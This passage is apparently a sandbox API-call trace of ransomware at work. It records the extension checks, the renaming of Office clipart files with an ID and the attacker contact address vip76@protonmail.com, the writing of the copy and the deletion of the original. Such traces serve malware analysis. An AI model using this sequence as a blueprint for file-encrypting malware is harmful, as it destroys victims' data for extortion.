	[0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.737] lstrlenW (lpString=".doc") returned 4
	[0075.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.737] lstrlenW (lpString=".docx") returned 5
	[0075.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.738] lstrlenW (lpString=".pdf") returned 4
	[0075.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.738] lstrlenW (lpString=".xls") returned 4
	[0075.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.738] lstrlenW (lpString=".xlsx") returned 5
	[0075.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.738] lstrlenW (lpString=".ppt") returned 4
	[0075.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.738] lstrlenW (lpString=".zip") returned 4
	[0075.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.738] lstrlenW (lpString=".rar") returned 4
	[0075.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.738] lstrlenW (lpString=".bz2") returned 4
	[0075.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.738] lstrlenW (lpString=".7z") returned 3
	[0075.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.738] lstrlenW (lpString=".dbf") returned 4
	[0075.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.738] lstrlenW (lpString=".1cd") returned 4
	[0075.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0075.738] lstrlenW (lpString=".jpg") returned 4
	[0075.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.739] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.739] lstrlenW (lpString="BS00184_.WMF") returned 12
	[0075.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.740] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4976) returned 1
	[0075.740] CloseHandle (hObject=0x38c) returned 1
	[0075.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220
	[0075.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.740] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.740] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.741] GetLastError () returned 0x0
	[0075.741] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1370, lpOverlapped=0x0) returned 1
	[0075.748] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1380, lpOverlapped=0x0) returned 1
	[0075.749] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.749] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.750] SetEndOfFile (hFile=0x358) returned 1
	[0075.750] CloseHandle (hObject=0x358) returned 1
	[0075.751] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.751] SetEndOfFile (hFile=0x38c) returned 1
	[0075.752] CloseHandle (hObject=0x38c) returned 1
	[0075.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1
	[0075.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.753] lstrlenW (lpString=".doc") returned 4
	[0075.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.753] lstrlenW (lpString=".docx") returned 5
	[0075.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.753] lstrlenW (lpString=".pdf") returned 4
	[0075.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.753] lstrlenW (lpString=".xls") returned 4
	[0075.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.754] lstrlenW (lpString=".xlsx") returned 5
	[0075.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.754] lstrlenW (lpString=".ppt") returned 4
	[0075.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.754] lstrlenW (lpString=".zip") returned 4
	[0075.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.754] lstrlenW (lpString=".rar") returned 4
	[0075.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.754] lstrlenW (lpString=".bz2") returned 4
	[0075.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.754] lstrlenW (lpString=".7z") returned 3
	[0075.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.754] lstrlenW (lpString=".dbf") returned 4
	[0075.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.754] lstrlenW (lpString=".1cd") returned 4
	[0075.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.754] lstrlenW (lpString=".jpg") returned 4
	[0075.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.755] lstrlenW (lpString=".doc") returned 4
	[0075.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.755] lstrlenW (lpString=".docx") returned 5
	[0075.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.755] lstrlenW (lpString=".pdf") returned 4
	[0075.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.755] lstrlenW (lpString=".xls") returned 4
	[0075.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.755] lstrlenW (lpString=".xlsx") returned 5
	[0075.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.755] lstrlenW (lpString=".ppt") returned 4
	[0075.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.755] lstrlenW (lpString=".zip") returned 4
	[0075.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.755] lstrlenW (lpString=".rar") returned 4
	[0075.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.755] lstrlenW (lpString=".bz2") returned 4
	[0075.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.755] lstrlenW (lpString=".7z") returned 3
	[0075.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.755] lstrlenW (lpString=".dbf") returned 4
	[0075.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.755] lstrlenW (lpString=".1cd") returned 4
	[0075.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0075.756] lstrlenW (lpString=".jpg") returned 4
	[0075.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.756] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.756] lstrlenW (lpString="BS00186_.WMF") returned 12
	[0075.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.756] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=12788) returned 1
	[0075.756] CloseHandle (hObject=0x38c) returned 1
	[0075.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220
	[0075.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.757] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.757] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.758] GetLastError () returned 0x0
	[0075.758] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x31f4, lpOverlapped=0x0) returned 1
	[0075.782] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x3200, lpOverlapped=0x0) returned 1
	[0075.784] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.784] WriteFile (in: hFile=0x358, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.784] SetEndOfFile (hFile=0x358) returned 1
	[0075.784] CloseHandle (hObject=0x358) returned 1
	[0075.786] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.786] SetEndOfFile (hFile=0x38c) returned 1
	[0075.787] CloseHandle (hObject=0x38c) returned 1
	[0075.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1
	[0075.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.788] lstrlenW (lpString=".doc") returned 4
	[0075.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.788] lstrlenW (lpString=".docx") returned 5
	[0075.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.788] lstrlenW (lpString=".pdf") returned 4
	[0075.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.788] lstrlenW (lpString=".xls") returned 4
	[0075.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.788] lstrlenW (lpString=".xlsx") returned 5
	[0075.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.788] lstrlenW (lpString=".ppt") returned 4
	[0075.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.788] lstrlenW (lpString=".zip") returned 4
	[0075.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.789] lstrlenW (lpString=".rar") returned 4
	[0075.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.789] lstrlenW (lpString=".bz2") returned 4
	[0075.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.789] lstrlenW (lpString=".7z") returned 3
	[0075.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.789] lstrlenW (lpString=".dbf") returned 4
	[0075.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.789] lstrlenW (lpString=".1cd") returned 4
	[0075.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.789] lstrlenW (lpString=".jpg") returned 4
	[0075.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.789] lstrlenW (lpString=".doc") returned 4
	[0075.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.789] lstrlenW (lpString=".docx") returned 5
	[0075.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.789] lstrlenW (lpString=".pdf") returned 4
	[0075.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.789] lstrlenW (lpString=".xls") returned 4
	[0075.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.790] lstrlenW (lpString=".xlsx") returned 5
	[0075.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.790] lstrlenW (lpString=".ppt") returned 4
	[0075.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.790] lstrlenW (lpString=".zip") returned 4
	[0075.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.790] lstrlenW (lpString=".rar") returned 4
	[0075.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.790] lstrlenW (lpString=".bz2") returned 4
	[0075.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.790] lstrlenW (lpString=".7z") returned 3
	[0075.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.790] lstrlenW (lpString=".dbf") returned 4
	[0075.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.790] lstrlenW (lpString=".1cd") returned 4
	[0075.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0075.790] lstrlenW (lpString=".jpg") returned 4
	[0075.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.790] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.791] lstrlenW (lpString="BS00224_.WMF") returned 12
	[0075.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.791] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=1588) returned 1
	[0075.791] CloseHandle (hObject=0x38c) returned 1
	[0075.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220
	[0075.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.792] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.792] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.086] GetLastError () returned 0x0
	[0076.086] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x634, lpOverlapped=0x0) returned 1
	[0076.088] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x640, lpOverlapped=0x0) returned 1
	[0076.089] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.089] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.089] SetEndOfFile (hFile=0x338) returned 1
	[0076.090] CloseHandle (hObject=0x338) returned 1
	[0076.091] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.091] SetEndOfFile (hFile=0x38c) returned 1
	[0076.091] CloseHandle (hObject=0x38c) returned 1
	[0076.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1
	[0076.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.092] lstrlenW (lpString=".doc") returned 4
	[0076.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.092] lstrlenW (lpString=".docx") returned 5
	[0076.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.092] lstrlenW (lpString=".pdf") returned 4
	[0076.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.092] lstrlenW (lpString=".xls") returned 4
	[0076.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.092] lstrlenW (lpString=".xlsx") returned 5
	[0076.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.092] lstrlenW (lpString=".ppt") returned 4
	[0076.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.093] lstrlenW (lpString=".zip") returned 4
	[0076.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.093] lstrlenW (lpString=".rar") returned 4
	[0076.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.093] lstrlenW (lpString=".bz2") returned 4
	[0076.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.093] lstrlenW (lpString=".7z") returned 3
	[0076.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.093] lstrlenW (lpString=".dbf") returned 4
	[0076.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.093] lstrlenW (lpString=".1cd") returned 4
	[0076.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.093] lstrlenW (lpString=".jpg") returned 4
	[0076.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
